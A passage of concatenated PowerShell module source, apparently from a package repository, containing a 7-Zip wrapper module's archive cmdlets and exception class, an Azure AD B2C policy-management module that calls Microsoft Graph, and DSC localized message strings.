A list of file names or patterns to include [Parameter(Mandatory=$true, Position=1)] [string[]] $FilesToInclude, # A list of file names or patterns to exclude [Parameter(Mandatory=$false)] [AllowEmptyCollection()] [string[]] $FilesToExclude, # The type of archive to update [ValidateSet('7z','zip','gzip','bzip2','tar','iso','udf')] [string] $ArchiveType = '7z', #If specified apply password to open and update this archive [SecureString] $Password, # Additional switches for 7zip (Feature intended for advanced usage) [string]$Switches, # Apply include patterns recursively [switch]$Recurse, [switch] $Force ) if ($PSCmdlet.ShouldProcess("Update Archive")) { [hashtable]$params = @{ Operation = 'Update' ArchiveType = $ArchiveType ArchivePath = $ArchivePath Include = $FilesToInclude Exclude = $FilesToExclude Switches = $Switches Recurse = $false } if ( $PSBoundParameters.ContainsKey('Password') ) { # Password parameter present $params['Password'] = $Password } if ( $PSBoundParameters.ContainsKey('Force') ) { # Force parameter present $params['Force'] = $true } if ( $PSBoundParameters.ContainsKey('Recurse') ) { # Recurse parameter present $params['Recurse'] = $true } $params.GetEnumerator() | ForEach-Object { write-debug -Message ('{0}: {1}' -f ($_.Key), ($_.Value) ) } [string[]]$result = Invoke-7zInterop @params return $result } }
Debug-ThrowException.ps1
7zipWrapper-0.1.39
function Debug-ThrowException { [CmdletBinding()] param ( [string]$Message, [string]$Verb, [string]$Path, [string]$Output, [string]$LineNumber, [string]$Filename, [string]$Executable, [Exception]$Exception ) begin { # if ($Exception) { # $7zException = [SevenZipException]::new($Message, $Exception) # } else { # } $7zException = [SevenZipException]::new($Message) $7zException.Verb = $Verb $7zException.Path = $Path $7zException.Output = $Output $7zException.ScriptFilePath = $7zSettings.ScriptFilePath $7zException.ScriptLineNumber = $LineNumber $7zException.ScriptFilename = $Filename $7zException.SevenZipExecutable = $Executable $7zException.Exception = $Exception } process { throw $7zException } end { } }
Add-7zArchive.ps1
7zipWrapper-0.1.39
function Add-7zArchive() { <# .SYNOPSIS Create a new 7-Zip archive .DESCRIPTION Use this cmdlet to create 7-Zip archives. Possible types are 7z (default) as well as zip, gzip, bzip2, tar, iso, udf archive formats. This needs testing...made usable The archive file is overwritten if it exists and the -force parameter is used .EXAMPLE New-7zArchive new-archive *.txt Creates a new 7-zip-archive named 'new-archive.7z' containing all files with a .txt extension in the current directory .EXAMPLE New-7zArchive new-archive *.txt -ArchiveType zip Creates a new zip-archive named 'new-archive.zip' containing all files with a .txt extension in the current directory .EXAMPLE New-7zArchive new-archive *.jpg,*.gif,*.png,*.bmp -Recurse -Exclude tmp/ Creates a new 7-zip archive named 'new-archive.7z' containing all files with an extension of jpg, gif, png or bmp in the current directory and all directories below it All files in the folder tmp are excluded, i.e. not included in the archive. #> [CmdletBinding()] Param( # The path of the archive to create [Parameter(Mandatory, Position=0)] [string] $ArchivePath, # A list of file names or patterns to include [Parameter(Mandatory=$true, Position=1)] [string[]] $FilesToInclude, # A list of file names or patterns to exclude [Parameter(Mandatory=$false)] [AllowEmptyCollection()] [string[]] $FilesToExclude, # The type of archive to create [ValidateSet('7z','zip','gzip','bzip2','tar','iso','udf')] [string] $ArchiveType = '7z', #If specified apply password to archive and encrypt headers [SecureString] $Password, # Additional switches for 7zip (Feature intended for advanced usage) [string]$Switches, # Apply include patterns recursively [switch]$Recurse, [switch] $Force ) [hashtable]$params = @{ Operation = 'New' ArchiveType = $ArchiveType ArchivePath = $ArchivePath Include = $FilesToInclude Exclude = $FilesToExclude Switches = $Switches Recurse = $false } if ( $PSBoundParameters.ContainsKey('Password') ) { # Password parameter present $params['Password'] = $Password } if ( $PSBoundParameters.ContainsKey('Force') ) { # Force parameter present $params['Force'] = $true } if ( $PSBoundParameters.ContainsKey('Recurse') ) { # Recurse parameter present $params['Recurse'] = $true } $params.GetEnumerator() | ForEach-Object { write-debug -Message ('{0}: {1}' -f ($_.Key), ($_.Value) ) } [string[]]$result = Invoke-7zInterop @params return $result }
Get-CurrentLineNumber.ps1
7zipWrapper-0.1.39
function Get-CurrentLineNumber { #Returns the current line number in a PowerShell script file. $MyInvocation.ScriptLineNumber }
Invoke-7zInterop.ps1
7zipWrapper-0.1.39
function Invoke-7zInterop { [CmdletBinding()] #This (internal) function does the hard work: it calls 7-Zip with the appropriate arguments Param( # The operation to perform [Parameter(Mandatory)] [ValidateSet("New", "Add", "Update", "List", "Extract", "Test")] [string]$Operation, [ValidateSet('7z','zip','gzip','bzip2','tar','iso','udf')] [Alias("Type")] [string] $ArchiveType = '7z', # The path of the archive [Parameter(Mandatory)] [Alias("Path")] [string]$ArchivePath, # A list of file names or patterns to include [Parameter(Mandatory)] [AllowEmptyCollection()] [string[]]$Include, # A list of file names or patterns to exclude [Parameter(Mandatory=$false)] [AllowEmptyCollection()] [string[]]$Exclude, # Apply include patterns recursively [Parameter(Mandatory=$false)] [switch]$Recurse, # If given this will encrypt and secure the archive [Parameter(Mandatory=$false)] [SecureString]$Password, #during add operations Force overwrite of archive and start from empty file #during update operations overwrite individual files within archive [Parameter(Mandatory=$false)] [switch]$Force, # Additional switches for 7z [Parameter(Mandatory=$false)] [AllowEmptyString()] [string]$Switches, # Throw if the output does not contain "Everything is OK" [Parameter(Mandatory=$false)] [bool]$CheckOK = $true ) $Arguments = [System.Collections.ArrayList]@() $fileMode = [System.Collections.ArrayList]@() switch ($Operation) { "New" { # New means the archive file will be recreated $verb = "Adding to new" $fileMode += "-mx9" # -mx9: Ultra compression } "Add" { $verb = "Adding to" $fileMode += "-mx9" # -mx9: Ultra compression } "Update" { $verb = "Updating" $fileMode += "-mx9" # -mx9: Ultra compression } "Extract" { $verb = "Extracting" if ( $PSBoundParameters.ContainsKey('Force') ) { $fileMode += "-aoa" #-aoa: Overwrite All existing files without prompt } } "List" { $verb = "Listing" } "Test" { $verb = "Testing" } } #Add the operation command to the switches $Arguments += $verb.Substring(0,1).ToLower() #Add the archive type to the switches $Arguments += '-t{0}' -f $ArchiveType #here is a quick fix for some the archive path that might be #double quoted too many times. This might not be needed. $Arguments += ('"{0}"' -f $ArchivePath).Replace('""','"') # Set up switches to use. #These two switches are for unattended scenarios $Arguments += "-bd", "-y" # -bd: no percentage indicator; -y: Yes to all prompts Write-Debug -Message ('ParameterKey Recurse: {0}' -f $PSBoundParameters.ContainsKey('Recurse')) if ( $PSBoundParameters.ContainsKey('Recurse') ) { $Arguments += "-r" } # -r: recurse parameter present Write-Debug -Message ('ParameterKey Password: {0}' -f $PSBoundParameters.ContainsKey('Password')) if ( $PSBoundParameters.ContainsKey('Password') ) { # -p: Password parameter present $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Password) $pString = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) $Arguments += '"-p{0}"' -f $pString $pString = $null $fileMode += "-mhe" #Encrypt file headers in archive } #These are the file handler switches that manage what 7zip should do in #the event of filename conflicts. These switches need to go after the mode #and initial switches in the arguments array. #May need to research this switch for duplicate filenames in different folders #$fileMode += "-spf" # -spf : Use fully qualified filenames $Arguments += $fileMode # Add excludes to the switches if ( $PSBoundParameters.ContainsKey('Exclude') -and $Exclude.Count -gt 0) { # Exclude file list parameter present $Arguments += $Exclude | ForEach-Object { '"-x!{0}"' -f $_ } } # Add includes to the switches $Arguments += $Include | ForEach-Object { '"-i!{0}"' -f $_ } #Add any explicitly passed parameters to the switches $Arguments += $Switches -split '\s+' | ForEach-Object { '{0}' -f $_ } #Spin up sub thread to run 7zip executable $pinfo = New-object System.Diagnostics.ProcessStartInfo $pinfo.CreateNoWindow = $true $pinfo.UseShellExecute = $false $pinfo.RedirectStandardOutput = $true $pinfo.RedirectStandardError = $true $pinfo.FileName = $7zSettings.Path7zEXE $pinfo.Arguments = $Arguments $process = New-Object System.Diagnostics.Process $process.StartInfo = $pinfo [void]$process.Start() $stdout = $process.StandardOutput.ReadToEnd() $stderr = $process.StandardError.ReadToEnd() $process.WaitForExit() Write-Debug -Message "============================================" Write-Debug -Message ('Standard Output: {0}' -f $stdout ) Write-Debug -Message "============================================" Write-Debug -Message ('Error Output: {0}' -f $stderr ) Write-Debug -Message "============================================" Write-Debug -Message ( "Exit Code: " + $process.ExitCode ) Write-Debug -Message ( '7zip exe: {0}' -f ($7zSettings.Path7zEXE) ) Write-Debug -Message 'Arguments: ' $Arguments | ForEach-Object { Write-Debug -Message ('{0}' -f $_ )} Write-Debug -Message "============================================" # Check result if ($CheckOK) { $Err = "System ERROR: " $isBAD = ([string]$stdout).Contains($Err) $isOK = ([string]$stdout).Contains("Everything is Ok") if (-not $isOK ) { [string]$errorMessage = '{0} archive failed.' -f $verb if ($isBAD) { $errorMessage = $stdout.Substring($stdout.IndexOf($Err) + 14 ) } Debug-ThrowException ` -Message $errorMessage ` -Verb $verb ` -Path $ArchivePath ` -Output ($stdout + "`r`n" + $stderr) ` -LineNumber Get-CurrentLineNumber ` -Filename Get-CurrentFileName ` -Executable $7zSettings.Path7zEXE ` -Exception ([System.InvalidOperationException]::new($errorMessage)) } } # No error: return the 7-Zip output Write-Output $stdout }
SevenZipException.ps1
7zipWrapper-0.1.39
class SevenZipException : Exception { <# .SYNOPSIS Constructs a new exception with the specified detail message and additionaldata. .DESCRIPTION This is the base exception of this module. The sub classes are to develop finer detailed exceptions to more accurately describe the errors thrown .PARAMETER Message The detail message of this exception. This is provided by the calling code. .PARAMETER AdditionalData the details attached to this exception. A null value is permitted, and indicates that the error was basic and the details are unknown. .EXAMPLE throw [SevenZipException]::new("Unable to find archive", 'C:\test\archive.zip') This will produce the error message: Unable to find archive .EXAMPLE try { throw [SevenZipException]::new('Unable to find archive', 'C:\test\archive.zip') } catch [SevenZipException] { $AdditionalData = @{ $Filename = $_.Exception.additionalData } throw [SevenZipException]::new($('Archive file unavailable: {0}' -f $AdditionalData.Filename, 'FileNotFoundException') } To access additionaldata in the SevenZipException use the $_.Exception variable This example will catch the first error in the catch block where error handling can be applied and if unresolved will then rethrow this error and produce the error message: Didn't catch it the second time .NOTES the detail message associated with additionaldata is not automatically incorporated in this exception's detail message. Exit Codes from 7-Zip 7-Zip returns the following exit codes: Code Meaning 0 No error 1 Warning (Non fatal error(s)). For example, one or more files were locked by some other application, so they were not compressed. 2 Fatal error 7 Command line error 8 Not enough memory for operation 255 User stopped the process .LINK Official 7Zip Exit Codes: https://documentation.help/7-Zip/exit_codes.htm #> #Class Properties [string]$Verb [string]$Path [string]$Output [string]$ScriptFilePath [string]$ScriptLineNumber [string]$ScriptFilename [string]$SevenZipExecutable [Exception]$Exception SevenZipException($Message) : base($Message) { } SevenZipException($Message, $Exception) : base($Message, $Exception.InnerException) { } SevenZipException() { } }
Test-7zArchive.ps1
7zipWrapper-0.1.39
Function Test-7zArchive { <# .SYNOPSIS Test files a 7-Zip archive. .DESCRIPTION Use this cmdlet to test 7-Zip archives for errors .EXAMPLE Test-7zArchive c:\temp\test.7z Test the archive "c:\temp\test.7z". Throw an error if any errors are found .NOTES This function has not been updated yet. .LINK https://documentation.help/7-Zip/list.htm #> [CmdletBinding()] Param( # The name of the archive to test [Parameter(Mandatory=$true, Position=0)] [string]$ArchivePath, #If specified apply password to open archive [SecureString] $Password, # Additional switches [Parameter(Mandatory=$false, Position=1)] [String]$Switches = "" ) [hashtable]$params = @{ Operation = 'Test' ArchivePath = $ArchivePath Include = @() Exclude = @() Switches = $Switches CheckOK = $false } if ( $PSBoundParameters.ContainsKey('Password') ) { # Password parameter present $params.Add('Password',$Password) } $params.GetEnumerator() | ForEach-Object { Write-Debug -Message ('{0}: {1}' -f ($_.Key), ($_.Value) ) } [string[]]$result = Invoke-7zInterop @params # Check result if ($result.Contains("No files to process")) { Write-Verbose "Archive is empty" return $result } if ($result.Contains("cannot find archive")) { throw "Archive `"$Path`" not found" } if ($result.Contains("Everything is Ok")) { Write-Verbose "Archive is OK" return $result } # In all other cases, we have an error. Write out the results Verbose $result | Write-Verbose # ... and throw an error throw "Testing archive `"$ArchivePath`" failed: $result" }
7zipWrapper.psm1
7zipWrapper-0.1.39
<# .SYNOPSIS Powershell Module 7-Zip - 7-Zip commands for PowerShell .DESCRIPTION The functions in this module call 7za.exe, the standAlone version of 7-zip to perform various tasks on 7-zip archives. Place anywhere, together with 7za.exe and 7zsd.sfx. 7za.exe is required for all operations; 7zsd.sfx for creating self extracting archives. .PARAMETER NoSFX The default behavior of this module is to use both 7za and 7zsfx tools The option provided by this parameter is when leaner builds are needed to ensure smaller footprints when the use-case requires it. .EXAMPLE import-module .\7-Zip.psm1 -ArgumentList $True This will omit all 7zip SFX archive portions of this module .NOTES ModuleName : 7-Zip Created by : David Tawater Date Coded : 2021-07-29 .LINK Official 7Zip: http://www.7-zip.org .LINK https://documentation.help/7-Zip/start.htm #> #Grab the initialization script and then dot source first $private = @(Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath 'Private/Initialize-Module.ps1') -ErrorAction Stop) try { . $private.FullName } catch { throw "Unable to dot source Initialization script [$($private.FullName)]" } # Dot source classes and public/private functions $classes = @(Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath 'Classes/*.ps1') -Recurse -ErrorAction Stop) $public = @(Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath 'Public/*.ps1') -Recurse -ErrorAction Stop) #Grab everything but the initialization script as its already dot sourced $private = @(Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath 'Private/*.ps1') -Exclude 'Private/Initialize-Module.ps1' -Recurse -ErrorAction Stop) foreach ($import in @($classes + $private + $public)) { try { . $import.FullName } catch { throw "Unable to dot source [$($import.FullName)]" } } Export-ModuleMember -Function $public.Basename
AADB2C.psd1
AADB2C-1.0.7
# # Module manifest for module 'AADB2C' # # Generated by: Maatschap Fortigi # # Generated on: 25/09/2019 # @{ # Script module or binary module file associated with this manifest. RootModule = 'AADB2C.psm1' # Version number of this module. ModuleVersion = '1.0.7' # Supported PSEditions # CompatiblePSEditions = @() # ID used to uniquely identify this module GUID = 'b0a54ef2-2fdb-470e-92e4-2d0e71483e80' # Author of this module Author = 'Wim van den Heijkant & Taeke Kooiker' # Company or vendor of this module CompanyName = 'Fortigi' # Copyright statement for this module Copyright = '(c) 2019 Fortigi.' # Description of the functionality provided by this module Description = 'This module utilizes the Azure AD B2C REST API to manage managing B2C policies from the PowerShell commandline or Azure DevOps See https://docs.microsoft.com/en-us/graph/api/resources/trustframeworkpolicy?view=graph-rest-beta for the API specification. For more info [email protected]' # Minimum version of the Windows PowerShell engine required by this module # PowerShellVersion = '' # Name of the Windows PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the Windows PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # CLRVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @( ) # Assemblies that must be loaded prior to importing this module # RequiredAssemblies = @() # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = @('Get-AADB2CPolicy', 'New-AADB2CPolicy', 'Remove-AADB2CPolicy') # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = @() # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = @() # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. # Tags = @() # A URL to the license for this module. # LicenseUri = '' # A URL to the main website for this project. # ProjectUri = '' # A URL to an icon representing this module. # IconUri = '' # ReleaseNotes of this module # ReleaseNotes = '' } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
AADB2C.psm1
AADB2C-1.0.7
<# MIT License Copyright (c) 2019 Fortigi. All rights reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #> Function Get-AADB2CPolicy { <# .SYNOPSIS Gets an Azure AD B2C policies. .DESCRIPTION The Get-AADB2CPolicy cmdlet gets an Azure Active Directory B2C policies. .PARAMETER CLientID Specify the client ID you which to use. .PARAMETER ClientSecret Specify the Client Secret you which to use. .PARAMETER TenantID Specify the Azure AD B2C tenant ID. .EXAMPLE PS C:\>Get-AADB2CPolicy -ClientId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -ClientSecret xxxxxxxxxxxxxxxxxxx -TenantId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx This command gets a list of policy names from your Azure AD B2C tenant .LINK New-AADB2CPolicy Remove-AADB2CPolicy #> [CmdletBinding()] Param( [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$ClientId, [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$ClientSecret, [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$TenantId ) #Get Token $Body = @{client_id = $ClientID; client_secret = $ClientSecret; grant_type = "client_credentials"; scope = "https://graph.microsoft.com/.default"; } $OAuthReq = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -Body $Body $AccessToken = $OAuthReq.access_token #Get Policies $Result = Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken" } -Uri "https://graph.microsoft.com/beta/trustFramework/policies" -Method Get #Retun [array]$Policies = $Result.value return $Policies } function New-AADB2CPolicy { <# .SYNOPSIS Creates a B2C policy. .DESCRIPTION The New-AADB2CPolicy cmdlet creates an Azure Active Directory B2C policy. .PARAMETER CLientID Specify the client ID you which to use. .PARAMETER ClientSecret Specify the Client Secret you which to use. .PARAMETER TenantID Specify the Azure AD B2C tenant ID. .PARAMETER Policy Specifies a XML policy. .PARAMETER FilePath Specifies a path to a file. .EXAMPLE PS C:\>New-AADB2CPolicy -ClientId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -ClientSecret xxxxxxxxxxxxxxxxxxx -TenantId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -Policy <string> This command creates a policy from a string in your Azure AD B2C tenant .EXAMPLE PS C:\>New-AADB2CPolicy -ClientId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -ClientSecret xxxxxxxxxxxxxxxxxxx -TenantId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -FilePath <path> This command creates a policy from a file in your Azure AD B2C tenant .EXAMPLE PS C:\>New-AADB2CPolicy -ClientId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -ClientSecret xxxxxxxxxxxxxxxxxxx -TenantId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -FilePath <path> -Overwrite $True This command creates a policy from a file in your Azure AD B2C tenant, using the -overwrite $true will overwrite any exisitng policy. .LINK Get-AADB2CPolicy Remove-AADB2CPolicy #> [CmdletBinding(SupportsShouldProcess = $True)] Param( [parameter(Mandatory = $true, Position = 0, ParameterSetName = "Policy")] [parameter(Mandatory = $true, Position = 0, ParameterSetName = "PolicyFile")] [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$ClientId, [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$ClientSecret, [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$TenantId, [parameter(Mandatory = $true, ParameterSetName = "Policy")] [ValidateNotNullOrEmpty()] [String]$Policy, [parameter(Mandatory = $true, ParameterSetName = "PolicyFile")] [ValidateNotNullOrEmpty()] [ValidateScript( { Test-Path -Path $_ -PathType Leaf })] [String]$FilePath, [parameter(Mandatory = $false)] [System.Boolean]$Overwrite ) #Get Token $Body = @{client_id = $ClientID; client_secret = $ClientSecret; grant_type = "client_credentials"; scope = "https://graph.microsoft.com/.default"; } $OAuthReq = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -Body $Body $AccessToken = $OAuthReq.access_token #Get Policy Content if ($FilePath) { $Policy = (Get-Content -Path $FilePath -Encoding UTF8 -Raw) [xml]$PolicyXML = (Get-Content -Path $FilePath -Encoding UTF8 -Raw) } $PolicyID = $PolicyXML.TrustFrameworkPolicy.PolicyId #Check for existing policy $Results = Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken" } -Uri "https://graph.microsoft.com/beta/trustFramework/policies" -Method Get $Result = $Null if ($Results) { [array]$ResultsArray = $Results.value $Result = $ResultsArray | Where-Object {$_.id -eq $PolicyID} } #Check if exists if ($PolicyID) { if ($Result) { if ($Overwrite) { if ($pscmdlet.ShouldProcess("policy")) { #Update existing policy $Result = Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken" } -ContentType "application/xml" -Method PUT -Body ([System.Text.Encoding]::UTF8.GetBytes($Policy)) -Uri ('https://graph.microsoft.com/beta/trustFramework/policies/'+$PolicyID+'/$value') } } else { Write-Error "Policy $PolicyId already exists. Use -Overwrite $True to overwrite." } } else { if ($pscmdlet.ShouldProcess("policy")) { #Upload Policy $Result = Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken" } -ContentType "application/xml" -Method Post -Body ([System.Text.Encoding]::UTF8.GetBytes($Policy)) -Uri "https://graph.microsoft.com/beta/trustFramework/policies" } } } else { Write-Error "Policy File: $FilePath invalid." } } function Remove-AADB2CPolicy { <# .SYNOPSIS Removes an Azure AD B2C Policy .DESCRIPTION The Remove-AzureADB2CPolicy cmdlet removes an Azure Active Directory B2C policy. .PARAMETER CLientID Specify the client ID you which to use. .PARAMETER ClientSecret Specify the Client Secret you which to use. .PARAMETER TenantID Specify the Azure AD B2C tenant ID. .PARAMETER FilePath Specifies a path to a file. .EXAMPLE PS C:\>Remove-AADB2CPolicy -ClientId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -ClientSecret xxxxxxxxxxxxxxxxxxx -TenantId xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx -PolicyID B2C_1A_xxxxxxxx This command removes a policy from your Azure AD B2C tenant .LINK Get-AADB2CPolicy New-AADB2CPolicy #> [CmdletBinding(SupportsShouldProcess = $True)] Param( [parameter(Mandatory = $true, Position = 0, ParameterSetName = "Policy")] [parameter(Mandatory = $true, Position = 0, ParameterSetName = "PolicyFile")] [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$ClientId, [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$ClientSecret, [parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [string]$TenantId, [parameter(Mandatory = $true, ParameterSetName = "Policy")] [ValidateNotNullOrEmpty()] [String]$Policy, [parameter(Mandatory = $true, ParameterSetName = "PolicyFile")] [ValidateNotNullOrEmpty()] [ValidateScript( { Test-Path -Path $_ -PathType Leaf })] [String]$FilePath, [parameter(Mandatory = $false)] [System.Boolean]$Overwrite ) #Get Token $Body = @{client_id = $ClientID; client_secret = $ClientSecret; grant_type = "client_credentials"; scope = "https://graph.microsoft.com/.default"; } $OAuthReq = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" -Body $Body $AccessToken = $OAuthReq.access_token #Get Policy Content if ($FilePath) { $Policy = (Get-Content -Path $FilePath -Encoding UTF8 -Raw) [xml]$PolicyXML = (Get-Content -Path $FilePath -Encoding UTF8 -Raw) } $PolicyID = $PolicyXML.TrustFrameworkPolicy.PolicyId #Check if exists $Result = $Null if ($PolicyID) { $Result = Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken" } -Uri "https://graph.microsoft.com/beta/trustFramework/policies/$PolicyID" -Method Get if ($Result.id) { if ($Overwrite) { if ($pscmdlet.ShouldProcess("policy")) { #Update existing policy $Result = Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken" } -ContentType "application/xml" -Method PUT -Body $Policy -Uri ('https://graph.microsoft.com/beta/trustFramework/policies/'+$Result.id+'/$value') } } else { Write-Error "Policy $PolicyId already exists. Use -Overwrite $True to overwrite." } } else { if ($pscmdlet.ShouldProcess("policy")) { #Upload Policy $Result = Invoke-RestMethod -Headers @{Authorization = "Bearer $AccessToken" } -ContentType "application/xml" -Method Post -Body $Policy -Uri "https://graph.microsoft.com/beta/trustFramework/policies" } } } else { Write-Error "Policy File: $FilePath invalid." } }
Init.psm1
AADConnectDsc-0.3.1
if (-not (Get-Module -Name ADSync)) { Import-Module -Name ADSync }
DscResource.Common.strings.psd1
AADConnectDsc-0.3.1
# Localized English (en-US) strings. ConvertFrom-StringData @' TestIsNanoServerOperatingSystemSku = OperatingSystemSKU {0} was returned by Win32_OperatingSystem when detecting if operating system is Nano Server. (DRC0008) ModuleNotFound = Please ensure that the PowerShell module '{0}' is installed. (DRC0009) ParameterUsageWrong = None of the parameter(s) '{0}' may be used at the same time as any of the parameter(s) '{1}'. (DRC0010) AddressFormatError = Address '{0}' is not in the correct format. Please correct the Address parameter in the configuration and try again. (DRC0011) AddressIPv4MismatchError = Address '{0}' is in IPv4 format, which does not match server address family {1}. Please correct either of them in the configuration and try again. (DRC0012) AddressIPv6MismatchError = Address '{0}' is in IPv6 format, which does not match server address family {1}. Please correct either of them in the configuration and try again. (DRC0013) InvalidDesiredValuesError = Property 'DesiredValues' in Test-DscParameterState must be either a Hashtable, CimInstance, CimInstance[], or System.Collections.Specialized.OrderedDictionary. Type detected was '{0}'. (DRC0014) InvalidCurrentValuesError = Property 'CurrentValues' in Test-DscParameterState must be either a Hashtable, CimInstance, CimInstance[], or System.Collections.Specialized.OrderedDictionary. Type detected was '{0}'. (DRC0015) InvalidPropertiesError = If 'DesiredValues' is a CimInstance then property 'Properties' must contain a value. (DRC0016) MatchPsCredentialUsernameMessage = MATCH: PSCredential username match. Current state is '{0}' and desired state is '{1}'. (DRC0017) NoMatchPsCredentialUsernameMessage = NOTMATCH: PSCredential username mismatch. Current state is '{0}' and desired state is '{1}'. (DRC0018) NoMatchTypeMismatchMessage = NOTMATCH: Type mismatch for property '{0}' Current state type is '{1}' and desired type is '{2}'. (DRC0019) MatchValueMessage = MATCH: Value (type '{0}') for property '{1}' does match. Current state is '{2}' and desired state is '{3}'. (DRC0020) NoMatchValueMessage = NOTMATCH: Value (type '{0}') for property '{1}' does not match. Current state is '{2}' and desired state is '{3}'. (DRC0021) NoMatchValueDifferentCountMessage = NOTMATCH: Value (type '{0}') for property '{1}' does have a different count. Current state count is '{2}' and desired state count is '{3}'. (DRC0022) NoMatchElementTypeMismatchMessage = NOTMATCH: Type mismatch for property '{0}' Current state type of element [{1}] is '{2}' and desired type is '{3}'. (DRC0023) NoMatchElementValueMismatchMessage = NOTMATCH: Value [{0}] (type '{1}') for property '{2}' does match. Current state is '{3}' and desired state is '{4}'. (DRC0024) MatchElementValueMessage = MATCH: Value [{0}] (type '{1}') for property '{2}' does match. Current state is '{3}' and desired state is '{4}'. (DRC0025) PropertyInDesiredStateMessage = Property '{0}' is in desired state. (DRC0026) StartingReverseCheck = Starting with a reverse check. (DRC0027) TestDscParameterCompareMessage = Comparing values in property '{0}'. (DRC0028) TooManyCimInstances = More than one CIM instance was returned from the current state. (DRC0029) TestingCimInstance = Testing CIM instance '{0}' with the key properties '{1}'. (DRC0030) MissingCimInstance = The CIM instance '{0}' with the key properties '{1}' is missing. (DRC0031) ArrayValueIsAbsent = The array value '{0}' is absent. (DRC0032) ArrayValueIsPresent = The array value '{0}' is present. (DRC0033) KeyPropertiesMissing = The hashtable passed to function Test-DscPropertyState is missing the key 'KeyProperties'. This must be set to the property names that makes each instance in the CIM instance collection unique. (DRC0034) ArrayDoesNotMatch = One or more values in an array does not match the desired state. Details of the changes are below. (DRC0035) PropertyValueOfTypeDoesNotMatch = {0} value does not match. Current value is '{1}', but expected the value '{2}'. (DRC0036) UnableToCompareType = Unable to compare the type {0} as it is not handled by the Test-DscPropertyState command. (DRC0037) EvaluatePropertyState = Evaluating the state of the property '{0}'. (DRC0038) PropertyInDesiredState = The parameter '{0}' is in desired state. (DRC0039) PropertyNotInDesiredState = The parameter '{0}' is not in desired state. 